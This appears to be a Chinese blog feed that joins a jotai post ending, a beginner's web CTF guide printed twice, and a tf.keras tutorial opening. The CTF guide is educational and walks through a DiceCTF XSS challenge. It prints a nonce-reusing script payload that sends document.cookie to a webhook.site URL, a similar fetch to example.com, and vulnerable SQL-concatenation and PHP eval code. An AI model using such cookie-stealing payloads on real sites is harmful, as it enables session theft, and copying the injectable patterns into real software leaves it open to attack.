在官方 github 中,可以找到有哪些 utils,包含使用方法、範例,甚至連促使該 util 產生的 issue,有需要的時候可以去查詢。
到這邊就差不多把基本的用法與概念都介紹完了,以 Atomic 為概念的 state management 在使用上相對簡單,jotai 的精簡 API 也讓入門非常容易,雖然維護人員不多,但主要貢獻者的生產力很強大,也很厲害,我認為在小專案上還是非常適合拿來使用!接下來有機會的話,想從 jotai 的原始碼來了解是如何實作 atomic 概念的 state management library!感謝大家收看!
]]>知道 CTF 這東西很久了,但直到前陣子才真正去參加了線上辦的 CTF 比賽,不過因為會的東西有限,只能打 web 題,或是剛好有涉獵的 misc 題。雖然本來就覺得 CTF 很有趣,但實際去玩了以後收穫比我想像中的還多。
身為一個前端工程師,知道各種前端相關的知識十分合理,然後又因為看得文章夠多,所以除了一些新的特性以外,平時比較難有那種:「哇!居然可以這樣」的感覺。但在用心打 CTF 的兩個假日裡面,我獲得了數次這種感覺,而且是:「哇靠!!!!居然可以這樣嗎!!!」,明明就屬於前端的範疇,但我卻從來都不知道還可以這樣。
我認為前後端工程師去打 CTF 的 web 題,可以補足前後端相關的知識,而且這種知識是你平常在工作中或是生活中很難獲得的,但卻在資訊安全的領域很常見。想要防禦,就必須先知道怎麼攻擊。
因此這篇就稍微分享一下 CTF 是什麼,該如何參加,又該怎麼解題。
其實可以先參考這兩篇文章:
不免俗地還是要講一下 CTF 的全名 Capture The Flag,奪旗。而現在講 CTF 指的應該都是以拿到「flag」為目標的遊戲或是比賽之類的。其實底下還有細分不同種模式,這篇講的會是最常見的 Jeopardy 模式,只要拿到 flag 然後在網站上送出,就可以拿到這題的分數。
而這個「flag」通常會是一個字串,帶有特定格式讓你能區分出來它是 flag。flag 可能會藏在各個地方,例如說圖片裡面啦,或者是機器內的某個檔案之類的,而你的目標就是找出這個 flag,就獲勝了。
對我來說這模式其實並不陌生,大家以前有玩過「高手過招」嗎?在高手過招裡面雖然不是以拿到一個固定的 flag 為目標,但「找到前往下一關的方法」其實就跟 flag 差不多。
之前做給學生玩的:Lidemy HTTP Challenge 還有 r3:0 異世界網站挑戰 其實也是類似的模式,找到某個 token(flag) 之後就可以前往下一關。
可是有太多地方都可以放 flag 了,難道要我們大海撈針去找嗎?有些時候可能是,但大多數時候其實並不是,有些是題目敘述就會跟你講說 flag 在哪裡,就算沒有告訴你,通常也會放在固定幾個位置。
為了讓大家更進入狀況,知道我在講什麼,我們就直接來看一下一些已經結束的 CTF 比賽,直接從畫面跟題目跟大家講解到底要做什麼。
DiceCTF 2021 是前陣子剛結束的一個比賽,我直接用裡面的題目來做講解,這是一個在 CTF 比賽中很常看到的介面:
右上角是有多少人解出來以及這題的分數,在 CTF 比賽中分數是會變動的,越多人解開的題目分數就會越低。假設一開始是 500 分,100 個人解出來之後可能變成 50 分。而你拿到的分數跟「解開的時間」無關,就算你是第一個解開的(那時候是 500 分),在結算時也會用 50 分來計算。
而裡面也附上了題目敘述、網址跟讓你送出 flag 的地方,還有一個 admin bot,我們來看一下這是什麼:
這是我想跟大家介紹的第一種類型,我們就簡單稱之為「bot 類型」好了。在這種類型的題目中會有像上面這樣的網頁,讓你可以填入一個網址送出。而你填入網址之後,背後就會有一個 bot 去造訪你填入的網址(通常都是用 headless chrome 來做)。
那為什麼要這樣做呢?請注意原本題目敘述寫的:
The admin will set a cookie secret equal to config.secret in index.js.
在這種類型的題目中,會需要有一個 bot 造訪你提供的網址,通常是因為 flag 或是拿到 flag 的線索就藏在 bot 的 cookie 裡面。所以你要想辦法對 bot XSS 或是進行其他攻擊,然後把 cookie 偷出來。
仔細想想其實會發現滿合理的,因為如果要 XSS 的話一定要有對象嘛,而這個對象就是這個 admin bot。而這一題還有附上 source code:
const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;
const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');
const template = name => `
<html>
${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>
<script nonce=${NONCE}>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
`;
app.get('/', (req, res) => {
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
res.send(template(req.query.name || ""));
})
app.use('/' + SECRET, express.static(__dirname + "/secret"));
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
})
可以發現你能夠用 ?name=123
帶輸入進去,然後會跟著一起被輸出出來,所以綜合以上知識,你要做的就是:
只要你能 XSS,在沒有其他限制的狀況下把 cookie 偷出來很簡單,假設你有一台 server 網址是:http://example.com
,你只要執行:fetch('http://example.com?flag=' + document.cookie)
,網頁就會把 document.cookie
當成 url 的一部分一起發送到 example.com
,而你可以看 server 的 access log,就會知道 cookie 裡面到底有什麼內容。
這邊推薦大家一個很好用的網站:https://webhook.site/
它可以幫你產生一個網址,然後任何被發送到網址的 request 都會被記錄下來:
今天我發送一個 request 到:https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag=hello
,畫面就會變成這樣:
有了這個能夠觀看 request 紀錄的地方,就可以不需要自己架 server,而是透過這個服務來接收你想傳送的資料。
像是這種題型通常都是要你對 admin bot XSS 或是結合其他攻擊手法,以上面這題為例,雖然有用 CSP + nonce 但仔細觀察會發現 nonce 不會變,因此只要拿到固定的 nonce 就可以 XSS。
如果網址是:https://babier-csp.dicec.tf/?name=apple
的話,網站內容就是:
<html>
<h1>apple</h1>
<a href='#' id=elem>View Fruit</a>
<script nonce=+ZSveZwTAUqC6Pt9p+rgUg==>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
那如果我的 name 改成:</h1><script nonce="+ZSveZwTAUqC6Pt9p+rgUg==">window.location='https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag='+document.cookie</script>
url 就是:https://babier-csp.dicec.tf/?name=%3C/h1%3E%3Cscript%20nonce=%22%2bZSveZwTAUqC6Pt9p%2brgUg==%22%3Ewindow.location=%27https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag=%27%2bdocument.cookie%3C/script%3E
最後產生的網頁內容就是:
<html>
<h1></h1><script nonce="+ZSveZwTAUqC6Pt9p+rgUg==">window.location='https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag='+document.cookie</script></h1>
<a href='#' id=elem>View Fruit</a>
<script nonce=+ZSveZwTAUqC6Pt9p+rgUg==>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
把這個網址拿去給 admin bot,admin bot 就會去造訪這網頁,然後執行 window.location='https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag='+document.cookie
,就會把它的 cookie 發送到我們的 webhook 去,就可以在剛剛的介面中看到 admin 的 cookie 內容:
根據拿到的 secret 以及上面的程式碼,造訪 /secret
之後會看到:
Hi! You should view source!
<!--
I'm glad you made it here, there's a flag!
<b>dice{web_1s_a_stat3_0f_grac3_857720}</b>
If you want more CSP, you should try Adult CSP.
-->
而dice{web_1s_a_stat3_0f_grac3_857720}
就是 flag,把這個 flag 拿去網頁介面送出,就可以拿到分數,通過這關。每一場 CTF 通常都會有固定的 flag 格式,以這場而言就是 dice{}
以上就是解這種題型的完整歷程:
為什麼這類型的題目都要把 flag 或是其他線索放在 cookie 呢?因為在實際攻擊的場合中,通常也是以拿到 cookie 為最終目標,所以這樣設計其實也滿合理的。只要拿到 cookie 通常也就代表拿到使用者的 token 或 credential(前提是沒有設定 httponly 啦,不然就拿不到了)。
接著我們再來看一題:
一樣有附上程式碼:
const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')
// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT
);`);
// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
'admin',
'${crypto.randomBytes(16).toString('hex')}'
)`);
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));
// login route
app.post('/login', (req, res) => {
if (!req.body.username || !req.body.password) {
return res.redirect('/');
}
if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
return res.redirect('/');
}
// see if user is in database
const query = `SELECT id FROM users WHERE
username = '${req.body.username}' AND
password = '${req.body.password}'
`;
let id;
try { id = db.prepare(query).get()?.id } catch {
return res.redirect('/');
}
// correct login
if (id) return res.sendFile('flag.html', { root: __dirname });
// incorrect login
return res.redirect('/');
});
app.listen(3000);
像這一題就不需要什麼 XSS,因為根據程式碼,你必須讓 SQL query 可以正常執行,最後就會進入到:if (id) return res.sendFile('flag.html', { root: __dirname });
,就可以看到 flag。
所以像是這種題目就順著做就好,目標就是要繞過他那個檢查。至於怎麼繞過,就留給大家自己想了。
原本想舉其他 CTF 比賽當例子的,但大多數 CTF 比賽的網頁都只有比賽進行的時候會開著,結束後過幾天就關了。如果當初打的時候沒有截圖下來,就比較難重現當初的步驟。
在 CTF 中其實很多題目是混合的,需要結合不同的攻擊手法才能解開。對有些初學者來說比較難的可能是「不知道從何下手」,不知道到底 flag 會放在哪邊,看到題目也不知道要幹嘛,因此底下我簡單介紹幾種下手方式。
像這類型的題目,flag 通常都放在資料庫的某處,你要透過 SQL Injection 的方式把 flag 找出來。但也要注意一點,那就是在 CTF 中許多題目其實是有很多關卡的,有可能 SQL Injection 是第一關,你會在 database 裡面找到前往下一關的線索,然後下一關可能是其他類型的題目之類的。
RCE,全名 Remote Code Evaluation,意思就是你可以遠端在其他人的電腦上面執行程式碼。以 BambooFox CTF 2021 的 ヽ(#`Д´)ノ 這題為例,就給了這樣一段程式碼:
<?=
highlight_file(__FILE__) &&
strlen($🐱=$_GET['ヽ(#`Д´)ノ'])<0x0A &&
!preg_match('/[a-z0-9`]/i',$🐱) &&
eval(print_r($🐱,1));
最後一個步驟是 eval
,所以如果前面的判斷都通過了,你就可以執行任何你想執行的程式碼。像這種題目通常都會需要執行 shell_exec
之類的函式,例如說:shell_exec('ls /')
就可以把根目錄的檔案印出來,而 flag 就放在主機的某個位置。
有些題目會直接提示在哪裡,沒有提示的可以先找找看 /
跟 ~
或是 ./flag
, ./flag.txt
之類的地方,都是滿常會放置 flag 的位置。
因此這題的目標就是要繞過判斷,好讓我們可以在主機上執行任意程式碼來找到 flag。
有些題目是不給程式碼的,就給你一個網址然後要你找到 flag。這類型的有可能是 SQL injection,也有可能是 RCE 或是 SSTI,這些都有可能。所以就是要從網站中尋找各種蛛絲馬跡,來看要採取什麼方式進行攻擊,找出網站的漏洞。
碰到一些「你知道大概屬於什麼類型,但不知道怎麼攻擊」的狀況時,Google 是你的好朋友。例如說我知道這題可能是 SQL injection,但我不會打,我就可以搜尋:「sql injection cheat sheet」或是「sql injection ctf」之類的關鍵字,通常都可以找到很多有用的資料。
關於繞過限制,也可以用 bypass 這個關鍵字,例如說「csp bypass」,「xss bypass」之類的。
這篇真的只是簡單介紹一下 CTF 裡面常出現的 web 題的目標,通常是:
雖然說 flag 看似難找,但其實題目通常都會給一定的線索,而且 flag 放的位置通常就那幾個比較有可能,打的題目多了就會熟練了。
對於資安這塊不熟悉的人如果想接觸 Web 相關的領域,我推薦 PortSwigger 的 Web Security Academy 系列,裡面列出了很多種攻擊手法,而且還有網站可以讓你練習。
如果想試試看參加 CTF 比賽,可以看 CTF Time 這個網站,上面會有時程表,你可以找到已經辦過跟正要舉辦的比賽,報名方式很簡單,就只要註冊就行了,接著就是等比賽開始然後開始打題目。
這篇之所以是介紹「怎麼開始打 Web CTF」而不是講「我從 CTF 中學到的 web 技巧」,是因為我覺得那些學到的技巧,直接寫出來是沒有什麼用的。CTF 的解法最美妙的一點就在「你有努力想過」,這很重要。
舉例來說,如果我現在給你一個題目,然後讓你想五分鐘,五分鐘之後跟你講答案,你可能會覺得「喔,原來是這樣」。但如果給你五個小時,然後這五個小時之中你試遍了各種方法都解不開,這時候跟你講解法,你大概會:「哇操!!!!太神了吧!!!可以這樣解喔!!!」,而這是只有花時間付出的人可以體會到的樂趣。
在沒有努力思考之前直接把解法講出來就會大幅度減少這種樂趣。
還有一點我覺得很棒,那就是 CTF 比賽結束之後通常都會有每個參賽者的 writeup,可以想成就是解法的筆記,會敘述自己怎麼思考然後用什麼方法把題目解開的,一個題目可能不只有一個解法,可以從其他人的解法中學習到很多。
如果你是有些經驗的前後端工程師,非常推薦大家接觸一下資安的領域,透過 CTF 比賽學習各種前後端的攻擊方法,有可能會讓你大開眼界,得到很多新的知識,讓你能寫出更安全的網站。
]]>知道 CTF 這東西很久了,但直到前陣子才真正去參加了線上辦的 CTF 比賽,不過因為會的東西有限,只能打 web 題,或是剛好有涉獵的 misc 題。雖然本來就覺得 CTF 很有趣,但實際去玩了以後收穫比我想像中的還多。
身為一個前端工程師,知道各種前端相關的知識十分合理,然後又因為看得文章夠多,所以除了一些新的特性以外,平時比較難有那種:「哇!居然可以這樣」的感覺。但在用心打 CTF 的兩個假日裡面,我獲得了數次這種感覺,而且是:「哇靠!!!!居然可以這樣嗎!!!」,明明就屬於前端的範疇,但我卻從來都不知道還可以這樣。
我認為前後端工程師去打 CTF 的 web 題,可以補足前後端相關的知識,而且這種知識是你平常在工作中或是生活中很難獲得的,但卻在資訊安全的領域很常見。想要防禦,就必須先知道怎麼攻擊。
因此這篇就稍微分享一下 CTF 是什麼,該如何參加,又該怎麼解題。
其實可以先參考這兩篇文章:
不免俗地還是要講一下 CTF 的全名 Capture The Flag,奪旗。而現在講 CTF 指的應該都是以拿到「flag」為目標的遊戲或是比賽之類的。其實底下還有細分不同種模式,這篇講的會是最常見的 Jeopardy 模式,只要拿到 flag 然後在網站上送出,就可以拿到這題的分數。
而這個「flag」通常會是一個字串,帶有特定格式讓你能區分出來它是 flag。flag 可能會藏在各個地方,例如說圖片裡面啦,或者是機器內的某個檔案之類的,而你的目標就是找出這個 flag,就獲勝了。
對我來說這模式其實並不陌生,大家以前有玩過「高手過招」嗎?在高手過招裡面雖然不是以拿到一個固定的 flag 為目標,但「找到前往下一關的方法」其實就跟 flag 差不多。
之前做給學生玩的:Lidemy HTTP Challenge 還有 r3:0 異世界網站挑戰 其實也是類似的模式,找到某個 token(flag) 之後就可以前往下一關。
可是有太多地方都可以放 flag 了,難道要我們大海撈針去找嗎?有些時候可能是,但大多數時候其實並不是,有些是題目敘述就會跟你講說 flag 在哪裡,就算沒有告訴你,通常也會放在固定幾個位置。
為了讓大家更進入狀況,知道我在講什麼,我們就直接來看一下一些已經結束的 CTF 比賽,直接從畫面跟題目跟大家講解到底要做什麼。
DiceCTF 2021 是前陣子剛結束的一個比賽,我直接用裡面的題目來做講解,這是一個在 CTF 比賽中很常看到的介面:
右上角是有多少人解出來以及這題的分數,在 CTF 比賽中分數是會變動的,越多人解開的題目分數就會越低。假設一開始是 500 分,100 個人解出來之後可能變成 50 分。而你拿到的分數跟「解開的時間」無關,就算你是第一個解開的(那時候是 500 分),在結算時也會用 50 分來計算。
而裡面也附上了題目敘述、網址跟讓你送出 flag 的地方,還有一個 admin bot,我們來看一下這是什麼:
這是我想跟大家介紹的第一種類型,我們就簡單稱之為「bot 類型」好了。在這種類型的題目中會有像上面這樣的網頁,讓你可以填入一個網址送出。而你填入網址之後,背後就會有一個 bot 去造訪你填入的網址(通常都是用 headless chrome 來做)。
那為什麼要這樣做呢?請注意原本題目敘述寫的:
The admin will set a cookie secret equal to config.secret in index.js.
在這種類型的題目中,會需要有一個 bot 造訪你提供的網址,通常是因為 flag 或是拿到 flag 的線索就藏在 bot 的 cookie 裡面。所以你要想辦法對 bot XSS 或是進行其他攻擊,然後把 cookie 偷出來。
仔細想想其實會發現滿合理的,因為如果要 XSS 的話一定要有對象嘛,而這個對象就是這個 admin bot。而這一題還有附上 source code:
const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;
const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');
const template = name => `
<html>
${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>
<script nonce=${NONCE}>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
`;
app.get('/', (req, res) => {
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
res.send(template(req.query.name || ""));
})
app.use('/' + SECRET, express.static(__dirname + "/secret"));
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
})
可以發現你能夠用 ?name=123
帶輸入進去,然後會跟著一起被輸出出來,所以綜合以上知識,你要做的就是:
只要你能 XSS,在沒有其他限制的狀況下把 cookie 偷出來很簡單,假設你有一台 server 網址是:http://example.com
,你只要執行:fetch('http://example.com?flag=' + document.cookie)
,網頁就會把 document.cookie
當成 url 的一部分一起發送到 example.com
,而你可以看 server 的 access log,就會知道 cookie 裡面到底有什麼內容。
這邊推薦大家一個很好用的網站:https://webhook.site/
它可以幫你產生一個網址,然後任何被發送到網址的 request 都會被記錄下來:
今天我發送一個 request 到:https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag=hello
,畫面就會變成這樣:
有了這個能夠觀看 request 紀錄的地方,就可以不需要自己架 server,而是透過這個服務來接收你想傳送的資料。
像是這種題型通常都是要你對 admin bot XSS 或是結合其他攻擊手法,以上面這題為例,雖然有用 CSP + nonce 但仔細觀察會發現 nonce 不會變,因此只要拿到固定的 nonce 就可以 XSS。
如果網址是:https://babier-csp.dicec.tf/?name=apple
的話,網站內容就是:
<html>
<h1>apple</h1>
<a href='#' id=elem>View Fruit</a>
<script nonce=+ZSveZwTAUqC6Pt9p+rgUg==>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
那如果我的 name 改成:</h1><script nonce="+ZSveZwTAUqC6Pt9p+rgUg==">window.location='https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag='+document.cookie</script>
url 就是:https://babier-csp.dicec.tf/?name=%3C/h1%3E%3Cscript%20nonce=%22%2bZSveZwTAUqC6Pt9p%2brgUg==%22%3Ewindow.location=%27https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag=%27%2bdocument.cookie%3C/script%3E
最後產生的網頁內容就是:
<html>
<h1></h1><script nonce="+ZSveZwTAUqC6Pt9p+rgUg==">window.location='https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag='+document.cookie</script></h1>
<a href='#' id=elem>View Fruit</a>
<script nonce=+ZSveZwTAUqC6Pt9p+rgUg==>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
把這個網址拿去給 admin bot,admin bot 就會去造訪這網頁,然後執行 window.location='https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag='+document.cookie
,就會把它的 cookie 發送到我們的 webhook 去,就可以在剛剛的介面中看到 admin 的 cookie 內容:
根據拿到的 secret 以及上面的程式碼,造訪 /secret
之後會看到:
Hi! You should view source!
<!--
I'm glad you made it here, there's a flag!
<b>dice{web_1s_a_stat3_0f_grac3_857720}</b>
If you want more CSP, you should try Adult CSP.
-->
而dice{web_1s_a_stat3_0f_grac3_857720}
就是 flag,把這個 flag 拿去網頁介面送出,就可以拿到分數,通過這關。每一場 CTF 通常都會有固定的 flag 格式,以這場而言就是 dice{}
以上就是解這種題型的完整歷程:
為什麼這類型的題目都要把 flag 或是其他線索放在 cookie 呢?因為在實際攻擊的場合中,通常也是以拿到 cookie 為最終目標,所以這樣設計其實也滿合理的。只要拿到 cookie 通常也就代表拿到使用者的 token 或 credential(前提是沒有設定 httponly 啦,不然就拿不到了)。
接著我們再來看一題:
一樣有附上程式碼:
const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')
// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT
);`);
// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
'admin',
'${crypto.randomBytes(16).toString('hex')}'
)`);
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));
// login route
app.post('/login', (req, res) => {
if (!req.body.username || !req.body.password) {
return res.redirect('/');
}
if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
return res.redirect('/');
}
// see if user is in database
const query = `SELECT id FROM users WHERE
username = '${req.body.username}' AND
password = '${req.body.password}'
`;
let id;
try { id = db.prepare(query).get()?.id } catch {
return res.redirect('/');
}
// correct login
if (id) return res.sendFile('flag.html', { root: __dirname });
// incorrect login
return res.redirect('/');
});
app.listen(3000);
像這一題就不需要什麼 XSS,因為根據程式碼,你必須讓 SQL query 可以正常執行,最後就會進入到:if (id) return res.sendFile('flag.html', { root: __dirname });
,就可以看到 flag。
所以像是這種題目就順著做就好,目標就是要繞過他那個檢查。至於怎麼繞過,就留給大家自己想了。
原本想舉其他 CTF 比賽當例子的,但大多數 CTF 比賽的網頁都只有比賽進行的時候會開著,結束後過幾天就關了。如果當初打的時候沒有截圖下來,就比較難重現當初的步驟。
在 CTF 中其實很多題目是混合的,需要結合不同的攻擊手法才能解開。對有些初學者來說比較難的可能是「不知道從何下手」,不知道到底 flag 會放在哪邊,看到題目也不知道要幹嘛,因此底下我簡單介紹幾種下手方式。
像這類型的題目,flag 通常都放在資料庫的某處,你要透過 SQL Injection 的方式把 flag 找出來。但也要注意一點,那就是在 CTF 中許多題目其實是有很多關卡的,有可能 SQL Injection 是第一關,你會在 database 裡面找到前往下一關的線索,然後下一關可能是其他類型的題目之類的。
RCE,全名 Remote Code Evaluation,意思就是你可以遠端在其他人的電腦上面執行程式碼。以 BambooFox CTF 2021 的 ヽ(#`Д´)ノ 這題為例,就給了這樣一段程式碼:
<?=
highlight_file(__FILE__) &&
strlen($🐱=$_GET['ヽ(#`Д´)ノ'])<0x0A &&
!preg_match('/[a-z0-9`]/i',$🐱) &&
eval(print_r($🐱,1));
最後一個步驟是 eval
,所以如果前面的判斷都通過了,你就可以執行任何你想執行的程式碼。像這種題目通常都會需要執行 shell_exec
之類的函式,例如說:shell_exec('ls /')
就可以把根目錄的檔案印出來,而 flag 就放在主機的某個位置。
有些題目會直接提示在哪裡,沒有提示的可以先找找看 /
跟 ~
或是 ./flag
, ./flag.txt
之類的地方,都是滿常會放置 flag 的位置。
因此這題的目標就是要繞過判斷,好讓我們可以在主機上執行任意程式碼來找到 flag。
有些題目是不給程式碼的,就給你一個網址然後要你找到 flag。這類型的有可能是 SQL injection,也有可能是 RCE 或是 SSTI,這些都有可能。所以就是要從網站中尋找各種蛛絲馬跡,來看要採取什麼方式進行攻擊,找出網站的漏洞。
碰到一些「你知道大概屬於什麼類型,但不知道怎麼攻擊」的狀況時,Google 是你的好朋友。例如說我知道這題可能是 SQL injection,但我不會打,我就可以搜尋:「sql injection cheat sheet」或是「sql injection ctf」之類的關鍵字,通常都可以找到很多有用的資料。
關於繞過限制,也可以用 bypass 這個關鍵字,例如說「csp bypass」,「xss bypass」之類的。
這篇真的只是簡單介紹一下 CTF 裡面常出現的 web 題的目標,通常是:
雖然說 flag 看似難找,但其實題目通常都會給一定的線索,而且 flag 放的位置通常就那幾個比較有可能,打的題目多了就會熟練了。
對於資安這塊不熟悉的人如果想接觸 Web 相關的領域,我推薦 PortSwigger 的 Web Security Academy 系列,裡面列出了很多種攻擊手法,而且還有網站可以讓你練習。
如果想試試看參加 CTF 比賽,可以看 CTF Time 這個網站,上面會有時程表,你可以找到已經辦過跟正要舉辦的比賽,報名方式很簡單,就只要註冊就行了,接著就是等比賽開始然後開始打題目。
這篇之所以是介紹「怎麼開始打 Web CTF」而不是講「我從 CTF 中學到的 web 技巧」,是因為我覺得那些學到的技巧,直接寫出來是沒有什麼用的。CTF 的解法最美妙的一點就在「你有努力想過」,這很重要。
舉例來說,如果我現在給你一個題目,然後讓你想五分鐘,五分鐘之後跟你講答案,你可能會覺得「喔,原來是這樣」。但如果給你五個小時,然後這五個小時之中你試遍了各種方法都解不開,這時候跟你講解法,你大概會:「哇操!!!!太神了吧!!!可以這樣解喔!!!」,而這是只有花時間付出的人可以體會到的樂趣。
在沒有努力思考之前直接把解法講出來就會大幅度減少這種樂趣。
還有一點我覺得很棒,那就是 CTF 比賽結束之後通常都會有每個參賽者的 writeup,可以想成就是解法的筆記,會敘述自己怎麼思考然後用什麼方法把題目解開的,一個題目可能不只有一個解法,可以從其他人的解法中學習到很多。
如果你是有些經驗的前後端工程師,非常推薦大家接觸一下資安的領域,透過 CTF 比賽學習各種前後端的攻擊方法,有可能會讓你大開眼界,得到很多新的知識,讓你能寫出更安全的網站。
]]>如果你有使用過 Tensorflow(以下簡稱 TF),特別是很前期的 API,你有很高機率也經歷過一段痛苦的學習經驗,有這種體驗的你並不孤單,一方面是 TF low-level API 的使用邏輯不是很符合直覺(API 文件也寫得不是很清楚),另一方面是隨著 TF 的演進,同樣的目的,做法可能有好幾種,所以在網路上 google 程式碼的時候,可能會被各種不同的寫法搞得頭昏眼花(tf.layer、tf.estimator、tf.keras 或直接用 low-level API 實現),這些模模糊糊的觀念全部攪在一起,最後得到一團 TF 漿糊。
不過,TF 仍然是一個很強大的工具,也因為有這個工具,只要找到好的學習方法,使用得當,還是可以節省大家未來很多時間,所以,就讓我嘗試寫一篇文章,來試圖減緩一下 TF 的學習曲線吧!
這篇文章的目的純粹是為了降低 TF 的學習難度,如果你想直接用 PyTorch 等其他工具,那也很好。
根據我使用過 Caffe、Tensorflow 跟 PyTorch 的經驗,我覺得能夠從 high-level API 入門是很重要的,因為剛開始實作各種 neural network(以下簡稱 NN),從最 high-level 的角度去看才能有掌握整體的感覺,所謂 high-level,就是你只需要看到這個 NN 的 input/output 是什麼、中間層有幾層、loss/optimizer 是什麼,然後就開始往你的目標前進。
以 tf.keras 的 API 舉例,假設你想要分類 MNIST dataset 裡面的手寫數字,最核心的 model 定義就像下面這樣(完整 source code 見此):
# 定義 model
model = tf.keras.models.Sequential([
tf.keras.layers.Flatten(input_shape=(28, 28, 1)),
tf.keras.layers.Dense(128,activation='relu'),
tf.keras.layers.Dense(10, activation='softmax')
])
# 指定 loss、optimizer
model.compile(
loss='sparse_categorical_crossentropy',
optimizer=tf.keras.optimizers.Adam(0.001),
metrics=['accuracy'],
)
# 開始 train model:使用 ds_train dataset,跑 6 個 epoch
# 使用 ds_test 做 validation
model.fit(
ds_train,
epochs=6,
validation_data=ds_test,
)
是不是很直覺呢?原因是,上面的 code 跟你腦海中,NN 是怎麼建構、進而開始訓練的 flow 是很接近的。
可是,如果使用比較 low-level 的 API,你會不自覺地被迫離開 "只在乎 NN 基本 flow" 的狀態,同樣以一個可以分類 MNIST 數字的 model 為例,只是這次是用 low-level API(完整 source code 在此):
# 定義 model
def neural_net(x):
layer_1 = tf.add(tf.matmul(x, weights['h1']), biases['b1'])
layer_2 = tf.add(tf.matmul(layer_1, weights['h2']), biases['b2'])
out_layer = tf.matmul(layer_2, weights['out']) + biases['out']
return out_layer
# 建立 model 的輸出
logits = neural_net(X)
prediction = tf.nn.softmax(logits)
# 指定 loss、optimizer
loss_op = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(
logits=logits, labels=Y))
optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate)
# 把 optimizer 跟 loss_op 接起來(嗯,已經開始有點不直覺了,有 predictions、又有 loss_op、現在還要多一個 train_op,怎麼那麼多層)
train_op = optimizer.minimize(loss_op)
# 指定初始化 model 參數的負責人
init = tf.global_variables_initializer()
# 準備開始 training(hmmm....session 是啥?)
with tf.Session() as sess:
# 初始化 model 參數
sess.run(init)
for step in range(1, num_steps+1):
batch_x, batch_y = mnist.train.next_batch(batch_size)
# 實際 training
sess.run(train_op, feed_dict={X: batch_x, Y: batch_y})
雖然乍看之下,大部分東西都一樣啊,可是,寫程式是一個很要求精確的心理活動,雖然只有幾個小地方閱讀起來不順暢,但這種不清楚知道所有事情的感覺會讓心裡的模糊資訊增加,最後就會讓更大的程式變成一團混亂。
你可能會說,上層的 API 把一堆東西都包起來,以透徹理解系統的角度來說,其實還不是很不精確?
確實沒錯。但是,我覺得使用工具的一個重點就在於,你不需要知道這個工具的所有細節,只要理解到一定程度,能利用這個工具達成目的就好,而包得好的 API 就是讓你很自然地不需要想到工具的細節。以筆電為例,如果你今天想要寫程式,你只需要開機、打開 IDE,就可以開始寫程式,是因為開機跟打開 IDE 都已經被包成很 high-level 的行為了。假設現在電腦還很原始,你為了開機,得找出對的電線,把對的電線接起來,還要插上開機磁碟,才能開機,寫程式這項 task 的複雜度是不是突然就上升很多?High-level API 的重點就在於降低 task 的複雜度,除非必要,不然你只要會按開機按鈕跟開 IDE 就好。
所以,我個人很推薦從 tf.keras 開始,因為他的 API 讓使用上很符合直覺,你就不需要費太多心思去管 high-level flow 以外的細節。事實上,這也是 TF 目前官方 tutorial 給初學者的建議,但基於我的經驗,還是希望把這段分析寫出來,如果你也曾經被 TF 嚇到過,tf.keras 是一個讓你重拾 TF 的好東西。
